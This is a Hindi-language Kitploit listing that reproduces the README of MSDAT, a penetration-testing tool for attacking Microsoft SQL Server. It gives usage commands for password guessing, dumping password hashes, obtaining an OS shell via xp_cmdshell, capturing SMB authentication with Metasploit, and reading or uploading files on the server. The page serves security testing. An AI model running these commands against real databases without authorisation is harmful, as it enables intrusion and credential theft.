Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
msdat — MSDAT: Microsoft SQL डेटाबेस हमलावर उपकरण | Kitploit
उपकरण/GitHubGitHub/quentinhardy/msdat
विशेषाधिकार वृद्धिपासवर्ड हमलेशोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगडेटाबेस सुरक्षा
GitHubquentinhardy/msdat

msdat

MSDAT: Microsoft SQL डेटाबेस हमलावर उपकरण

रिपॉजिटरी देखें
1.0k145153 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
Quentin HARDY
[email protected]
[email protected]

MSDAT

MSDAT (Microsoft SQL Database Attacking Tool) एक ओपन सोर्स पेनिट्रेशन टेस्टिंग टूल है जो Microsoft SQL डेटाबेस की सुरक्षा का दूरस्थ रूप से परीक्षण करता है।

MSDAT के उपयोग के उदाहरण:

  • आपके पास एक Microsoft डेटाबेस दूरस्थ रूप से सुन रहा है और आप डेटाबेस से कनेक्ट करने के लिए मान्य क्रेडेंशियल ढूंढना चाहते हैं
  • आपके पास किसी डेटाबेस पर एक वैध Microsoft SQL खाता है और आप अपने विशेषाधिकार बढ़ाना चाहते हैं
  • आपके पास एक वैध Microsoft SQL खाता है और आप इस DB को होस्ट करने वाले ऑपरेटिंग सिस्टम पर कमांड निष्पादित करना चाहते हैं (जैसे xp_cmdshell, OLE Automation, Agent Jobs)

Microsoft SQL डेटाबेस 2005, 2008, 2012, 2014, 2016 और 2019 पर परीक्षण किया गया।

परिवर्तन लॉग

  • संस्करण 2.4 (2022/12/28) :
    • search मॉड्यूल में 2 नए विकल्प: वर्तमान उपयोगकर्ता भूमिकाएँ और विशेषाधिकार प्राप्त करने के लिए --privs और --privs-full (जैसे लॉगिन और डेटाबेस विशेषाधिकार)
    • search मॉड्यूल में 1 नया विकल्प: डेटाबेस कॉन्फ़िगरेशन और जानकारी प्राप्त करने के लिए --config (संस्करण, डेटाबेस, उपयोगकर्ता, अक्षम उपयोगकर्ता, संग्रहीत प्रक्रियाएँ, आदि)
  • संस्करण 2.3 (2022/12/18) :
    • Microsoft SQL Server 2019 के साथ संगत
    • search मॉड्यूल में स्कीमा निकालने और फ़ाइल में सहेजने के लिए नया विकल्प --schema-dump (डिफ़ॉल्ट DB को छोड़कर)
    • search मॉड्यूल में सभी तालिकाएँ निकालने और फ़ाइल में सहेजने के लिए नया विकल्प --table-dump (डिफ़ॉल्ट DB को छोड़कर)
    • search मॉड्यूल में न्यूनतम छद्म SQL शेल प्राप्त करने के लिए नया विकल्प --sql-shell
  • संस्करण 2.2 (2022/04/29) :
    • --nmap-file और -l अब all मॉड्यूल और passwordguesser मॉड्यूल में उपयोग किए जा सकते हैं। आप -l के साथ लक्ष्यों की एक सूची या --nmap-file के साथ एक nmap फ़ाइल दे सकते हैं।
    • कई बग फिक्स
  • संस्करण 2.1 (2020/03/04) :
    • XML nmap फ़ाइल से सभी mssql सेवाओं को लोड करने का विकल्प --nmap-file (python-libnmap स्थापित होना चाहिए)
  • संस्करण 2.0 (2020/03/04) :
    • Python 2 से Python 3: MSDAT अब केवल Python 3 के साथ संगत है। Python 2 समर्थित नहीं है।
    • पासवर्ड गेसर मॉड्यूल में सेपरेटर विकल्प
    • xpcmdshell मॉड्यूल के --put-file विकल्प में त्रुटि पकड़ने में सुधार
    • jobs मॉड्यूल के रिवर्स शेल विकल्प में सुधार
    • OLE automation मॉड्यूल - कमांड निष्पादन में सुधार
    • OLE automation मॉड्यूल - Powershell रिवर्स शेल लागू किया गया
    • एजेंट जॉब्स और उनके कोड की सूची प्रिंट करने का नया विकल्प: --print-jobs
  • संस्करण 1.2 (2020/02/26) :
    • xpCmdShell मॉड्यूल में नई विधि: powershell के साथ बाइनरी फ़ाइल अपलोड करना (--put-file)
    • oleAutomation में सुधार: टेक्स्ट फ़ाइल के बजाय बाइनरी मोड में फ़ाइल अपलोड करना
  • संस्करण 1.1 (2019/07/12) :
    • कई अन्य डिफ़ॉल्ट क्रेडेंशियल। https://github.com/govolution/betterdefaultpasslist/ को धन्यवाद

विशेषताएँ

MSDAT (Microsoft SQL Database Attacking Tool) की बदौलत, आप यह कर सकते हैं (गैर-विस्तृत सूची):

  • बिना प्रमाणीकरण के MSSQL डेटाबेस की तकनीकी जानकारी प्राप्त करें (जैसे डेटाबेस संस्करण)
  • सभी MSSQL लक्ष्यों को स्कैन करने के लिए एक nmap फ़ाइल लोड करें
  • शब्दकोश हमले से MSSQL खाते खोजें
  • प्रत्येक लॉगिन को पासवर्ड के रूप में परीक्षण करें (प्रमाणीकरण आवश्यक है)
  • डेटाबेस सर्वर पर विंडोज शेल प्राप्त करें:
    • xp_cmdshell
    • OLE Automation
    • Jobs
  • फ़ाइलों को दूरस्थ रूप से डाउनलोड करें:
    • OLE Automation
    • bulkinsert
    • openrowset
  • सर्वर पर फ़ाइलें अपलोड करें:
    • OLE Automation
    • openrowset
  • SMB प्रमाणीकरण कैप्चर करें:
    • bulkinsert
    • openrowset
    • xp_dirtree
    • xp_fileexist
    • xp-getfiledetails
  • किसी भी MSSQL संस्करण पर MSSQL हैशेड पासवर्ड चुराएं
  • डेटाबेस के माध्यम से पोर्ट स्कैन करें:
    • openrowset
  • डेटाबेस (लक्ष्य) के माध्यम से दूरस्थ MSSQL सर्वर पर SQL अनुरोध निष्पादित करें:
    • bulkinsert
    • openrowset
  • फ़ाइलें/निर्देशिकाएँ सूचीबद्ध करें:
    • xp_subdirs
    • xp_dirtree
  • ड्राइव/मीडिया सूचीबद्ध करें:
    • xp_fixeddrives
    • xp_availablemedia
  • फ़ोल्डर बनाएं:
    • xp_create_subdir
  • तालिकाओं में संवेदनशील डेटा खोजें (जैसे क्रेडेंशियल)
  • डेटाबेस कॉन्फ़िगरेशन प्राप्त करें (डेटाबेस, उपयोगकर्ता, संग्रहीत प्रक्रियाएँ, आदि)
  • स्कीमा और सभी तालिका जानकारी निकालें
  • छद्म SQL शेल में बुनियादी SQL कमांड निष्पादित करें

स्थापना

MSDAT चलाने के लिए कुछ निर्भरताएँ स्थापित की जानी चाहिए।

उबंटू में:

root@kitploit:~
sudo apt-get install freetds-dev 

या http://www.freetds.org/ से freetds डाउनलोड करें

Python निर्भरताएँ स्थापित करें:

root@kitploit:~
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete

या

root@kitploit:~
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

अपनी freetds कॉन्फ़िगरेशन फ़ाइल में "use ntlmv2 = yes" जोड़ें (उदा: /etc/freetds/freetds.conf या /usr/local/etc/freetds.conf)। उदाहरण:

root@kitploit:~
[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

कैसे शुरू करें

root@kitploit:~
python3 msdat.py -h                                                                                                                                                                                                                                                    2 ⨯
usage: msdat.py [-h] [--version]
                {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                ...

               _   _  __  __   _  ___ 
              | \_/ |/ _||  \ / \|_ _|
              | \_/ |\_ \| o ) o || | 
              |_| |_||__/|__/|_n_||_| 
                        
------------------------------------------------------
 _   _  __            __           _           ___ 
| \_/ |/ _|         |  \         / \         |_ _|
| \_/ |\_ \         | o )         o |         | | 
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool 
                        
-------------------------------------------------------

By Quentin Hardy ([email protected])

positional arguments:
  {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                        
                        Choose a main command
    all                 to run all modules in order to know what it is possible to do
    mssqlinfo           to get information without authentication
    passwordguesser     to know valid credentials
    passwordstealer     to get hashed passowrds
    xpcmdshell          to get a shell
    jobs                to execute system commands
    smbauthcapture      to capture a SMB authentication
    oleautomation       to read/write file and execute system commands
    bulkopen            to read a file and scan ports
    xpdirectory         to list files/drives and to create directories
    trustworthype       to become sysadmin with the trustwothy database method
    userlikepwd         to try each MSSQL username stored in the DB like the corresponding pwd
    search              to search in column names
    cleaner             clean local traces

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit

उदाहरण

मॉड्यूल

  • आप सभी मॉड्यूल सूचीबद्ध कर सकते हैं:
root@kitploit:~
./msdat.py -h
  • जब आपने एक मॉड्यूल चुना है (उदाहरण: all), तो आप इसका उपयोग कर सकते हैं और मॉड्यूल की सभी सुविधाओं और विकल्पों को सूचीबद्ध कर सकते हैं:
root@kitploit:~
./msdat.py all -h

आप --test-module विकल्प की मदद से जान सकते हैं कि कोई विशिष्ट मॉड्यूल MSSQL सर्वर पर उपयोग किया जा सकता है या नहीं। यह विकल्प प्रत्येक mdat मॉड्यूल में लागू किया गया है।

all मॉड्यूल

all मॉड्यूल आपको सभी मॉड्यूल चलाने की अनुमति देता है (आपके द्वारा चुने गए विकल्पों पर निर्भर करता है)।

root@kitploit:~
python msdat.py all -s $SERVER

यदि आप चाहते हैं:

  • शब्दकोश हमले के लिए अपनी स्वयं की खाता फ़ाइल का उपयोग करें
  • एक उपयोगकर्ता के लिए बिना पूछे कई पासवर्ड आज़माएँ
  • अपना स्वयं का टाइमआउट मान परिभाषित करें
root@kitploit:~
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

प्रत्येक मॉड्यूल में, आप --charset विकल्प के साथ उपयोग करने के लिए कैरेक्टर सेट को परिभाषित कर सकते हैं।

mssqlinfo मॉड्यूल

बिना प्रमाणीकरण के दूरस्थ MSSQL सर्वर के बारे में तकनीकी जानकारी प्राप्त करने के लिए:

root@kitploit:~
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

यह मॉड्यूल जानकारी प्राप्त करने के लिए TDS प्रोटोकॉल और SQL ब्राउज़र सर्वर का उपयोग करता है।

passwordguesser मॉड्यूल

यह मॉड्यूल आपको मान्य क्रेडेंशियल खोजने की अनुमति देता है:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

--force-retry विकल्प आपसे पूछे बिना प्रत्येक उपयोगकर्ता के लिए कई पासवर्ड का परीक्षण करने की अनुमति देता है

आप --accounts-file विकल्प के साथ अपनी स्वयं की खाता फ़ाइल निर्दिष्ट कर सकते हैं:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

passwordstealer मॉड्यूल

हैशेड पासवर्ड डंप करने के लिए:

root@kitploit:~
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

यह मॉड्यूल SQL Server 2000, 2005, 2008 और 2014 पर परीक्षण किया गया है।

xpcmdshell मॉड्यूल

xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx) की बदौलत सिस्टम कमांड निष्पादित करने के लिए:

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

यह पिछला कमांड आपको दूरस्थ डेटाबेस सर्वर पर एक इंटरैक्टिव शेल देता है।

यदि xp_cmdshell सक्षम नहीं है, तो इस मॉड्यूल में इसे सक्रिय करने के लिए --enable-xpcmdshell का उपयोग किया जा सकता है:

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

--enable-xpcmdshell विकल्प xp_cmdshell को सक्षम करता है यदि यह सक्षम नहीं है (डिफ़ॉल्ट रूप से सक्षम नहीं)।

--disable-xpcmdshell विकल्प xp_cmdshell को अक्षम करता है यदि यह सक्षम है।

smbauthcapture मॉड्यूल

इस मॉड्यूल की बदौलत, आप SMB प्रमाणीकरण कैप्चर कर सकते हैं:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

SMB प्रमाणीकरण कैप्चर करने के लिए, मेटास्प्लॉइट का auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) मॉड्यूल का उपयोग किया जा सकता है:

root@kitploit:~
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

इस मॉड्यूल का capture कमांड xp_dirtree, xp_fileexist या xp-getfiledetails प्रक्रिया की बदौलत SMB प्रमाणीकरण कैप्चर करने का प्रयास करता है।

यदि आप प्रमाणीकरण कैप्चर करने के लिए SMB प्रमाणीकरण प्रक्रिया चुनना चाहते हैं:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

आप --share-name विकल्प से SHARE नाम बदल सकते हैं।

oleautomation मॉड्यूल

इस मॉड्यूल का उपयोग डेटाबेस सर्वर में फ़ाइल पढ़ने/लिखने के लिए किया जा सकता है।

निम्नलिखित कमांड डेटाबेस सर्वर में संग्रहीत temp.txt फ़ाइल को पढ़ता है:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

दूरस्थ रूप से किसी फ़ाइल (temp.txt) में एक स्ट्रिंग लिखने के लिए:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

इस मॉड्यूल का उपयोग डेटाबेस सर्वर पर संग्रहीत फ़ाइल (C:\Users\Administrator\Desktop\temp.txt) को डाउनलोड करने के लिए किया जा सकता है:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

इसके अलावा, आप इस मॉड्यूल का उपयोग लक्ष्य पर एक फ़ाइल (temp.txt) अपलोड करने के लिए कर सकते हैं:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt'

bulkopen मॉड्यूल

bulkopen मॉड्यूल का उपयोग किया जा सकता है:

  • डेटाबेस सर्वर पर संग्रहीत फ़ाइलों को पढ़ने/डाउनलोड करने के लिए
  • डेटाबेस सर्वर के माध्यम से पोर्ट स्कैन करने के लिए
  • डेटाबेस के माध्यम से दूरस्थ MSSQL सर्वर पर SQL अनुरोध निष्पादित करने के लिए

लक्ष्य में संग्रहीत फ़ाइल को पढ़ने के लिए, निम्नलिखित कमांड का उपयोग किया जा सकता है:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"

--method विकल्प का उपयोग उपयोग करने की विधि निर्दिष्ट करने के लिए किया जा सकता है:

  • bulkinsert (https://msdn.microsoft.com/en-us/library/ms188365.aspx) या
  • openrowset(https://msdn.microsoft.com/en-us/library/ms190312.aspx):
root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

एक फ़ाइल (C:\Users\Administrator\Desktop\temp.txt) डाउनलोड करने के लिए:` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

root@kitploit:~

इस मॉड्यूल का उपयोग डेटाबेस सर्वर के माध्यम से पोर्ट (127.0.0.1 के 1433 और 1434) स्कैन करने के लिए किया जा सकता है:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

आप पोर्ट की एक श्रेणी स्कैन कर सकते हैं:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

इस मॉड्यूल का उपयोग डेटाबेस ($SERVER) के माध्यम से दूरस्थ डेटाबेस सर्वर (जैसे $SERVER2) पर SQL अनुरोध (जैसे select @@ServerName) निष्पादित करने के लिए किया जा सकता है:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

xpdirectory मॉड्यूल

xpdirectory मॉड्यूल का उपयोग किया जा सकता है:

  • सूचीबद्ध करने के लिए:
  • फ़ाइलें
  • निर्देशिकाएँ
  • ड्राइव
  • यह जांचने के लिए कि कोई फ़ाइल मौजूद है या नहीं
  • एक निर्देशिका बनाने के लिए

किसी विशिष्ट निर्देशिका में फ़ाइलों को सूचीबद्ध करने के लिए:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

किसी विशिष्ट निर्देशिका में निर्देशिकाओं को सूचीबद्ध करने के लिए:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

ड्राइव सूचीबद्ध करने के लिए:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

यह जांचने के लिए कि कोई फ़ाइल मौजूद है या नहीं:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

एक निर्देशिका बनाने के लिए:

root@kitploit:~
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

search मॉड्यूल

search मॉड्यूल का उपयोग तालिकाओं और दृश्यों के कॉलम नामों में एक पैटर्न खोजने के लिए किया जा सकता है। उदाहरण के लिए कॉलम नामों में %password% पैटर्न खोजने में उपयोगी।

पासवर्ड पैटर्न (जैसे passwd, password, motdepasse, clave) वाले कॉलम नाम प्राप्त करने के लिए:

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

यदि आप उन कॉलम नामों को देखना चाहते हैं जिनमें कोई डेटा नहीं है, तो आपको --show-empty-columns विकल्प का उपयोग करना चाहिए।

दृश्यों और तालिकाओं के कॉलम नामों में एक विशिष्ट पैटर्न खोजने के लिए:

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

दान

यदि आप दान करके मेरे काम का समर्थन करना चाहते हैं, तो मैं इसकी बहुत सराहना करूंगा:

  • BTC के माध्यम से: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf
टूल डाउनलोड करें
  • संस्करण 1.0 (2017/02/15) :
    • पहला संस्करण जारी किया गया